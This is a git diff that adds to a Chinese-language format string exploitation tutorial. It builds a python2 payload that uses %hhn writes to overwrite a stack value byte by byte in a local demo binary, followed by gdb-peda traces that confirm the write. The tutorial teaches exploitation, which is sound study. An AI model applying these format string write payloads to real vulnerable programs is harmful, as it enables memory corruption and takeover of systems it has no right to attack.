diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md
index f195e70..10c0d9c 100644
--- a/doc/3.3.1_format_string.md
+++ b/doc/3.3.1_format_string.md
@@ -1040,7 +1040,96 @@ gdb-peda$ x/4wb 0xffffd538
 ```
 把 `AAAA`、`BBBB`、`CCCC`、`DDDD` 占据的地址分别替换成括号中的值，再适当使用填充字节使 8 字节对齐就可以了。构造输入如下：
 ```
+$ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text
+```
+其中前四个部分是 4 个写入地址，占 4*4=16 字节，后面四个部分分别用于写入十六进制数，由于使用了 `hh`，所以只会保留一个字节 `0x78`（16+104=120 -> 0x56）、`0x56`（120+222=342 -> 0x0156 -> 56）、`0x34`（342+222=564 -> 0x0234 -> 0x34）、`0x12`（564+222=786 -> 0x312 -> 0x12）。执行结果如下：
+```
+$ gdb -q a.out 
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf  
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text  
+Starting program: /home/firmy/Desktop/RE4B/a.out < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888 
+EBX: 0x804a000 --> 0x8049f14 --> 0x1 
+ECX: 0x1 
+EDX: 0xf7f9883c --> 0x0 
+ESI: 0xf7f96e68 --> 0x1bad90 
+EDI: 0x0 
+EBP: 0xffffd5f8 --> 0x0 
+ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret    
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
+0008| 0xffffd534 --> 0x1 
+0012| 0xffffd538 --> 0x88888888 
+0016| 0xffffd53c --> 0xffffffff 
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888 
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
 
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp  
+0xffffd52c:     0x08048520      0xffffd564      0x00000001      0x88888888
+0xffffd53c:     0xffffffff      0xffffd55a      0xffffd564      0x080481fc
+0xffffd54c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd55c:     0x00004443      0x00000000      0xffffd538      0xffffd539
+0xffffd56c:     0xffffd53a      0xffffd53b      0x34303125      0x33312563
+gdb-peda$ finish
+Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x312 
+EBX: 0x804a000 --> 0x8049f14 --> 0x1 
+ECX: 0x0 
+EDX: 0xf7f98830 --> 0x0 
+ESI: 0xf7f96e68 --> 0x1bad90 
+EDI: 0x0 
+EBP: 0xffffd5f8 --> 0x0 
+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
+EIP: 0x8048520 (<main+138>:     add    esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048514 <main+126>:        lea    eax,[ebp-0x94]
+   0x804851a <main+132>:        push   eax
+   0x804851b <main+133>:        call   0x8048350 <printf@plt>
+=> 0x8048520 <main+138>:        add    esp,0x20
+   0x8048523 <main+141>:        sub    esp,0xc
+   0x8048526 <main+144>:        push   0xa
+   0x8048528 <main+146>:        call   0x8048370 <putchar@plt>
+   0x804852d <main+151>:        add    esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
+0004| 0xffffd534 --> 0x1 
+0008| 0xffffd538 --> 0x12345678 
+0012| 0xffffd53c --> 0xffffffff 
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678 
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>:      add    ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530:     0xffffd564      0x00000001      0x12345678      0xffffffff
+0xffffd540:     0xffffd55a      0xffffd564      0x080481fc      0x080484b0
+0xffffd550:     0xf7ffda54      0x00000001      0x424135d0      0x00004443
+0xffffd560:     0x00000000      0xffffd538      0xffffd539      0xffffd53a
+0xffffd570:     0xffffd53b      0x34303125      0x33312563      0x6e686824
 ```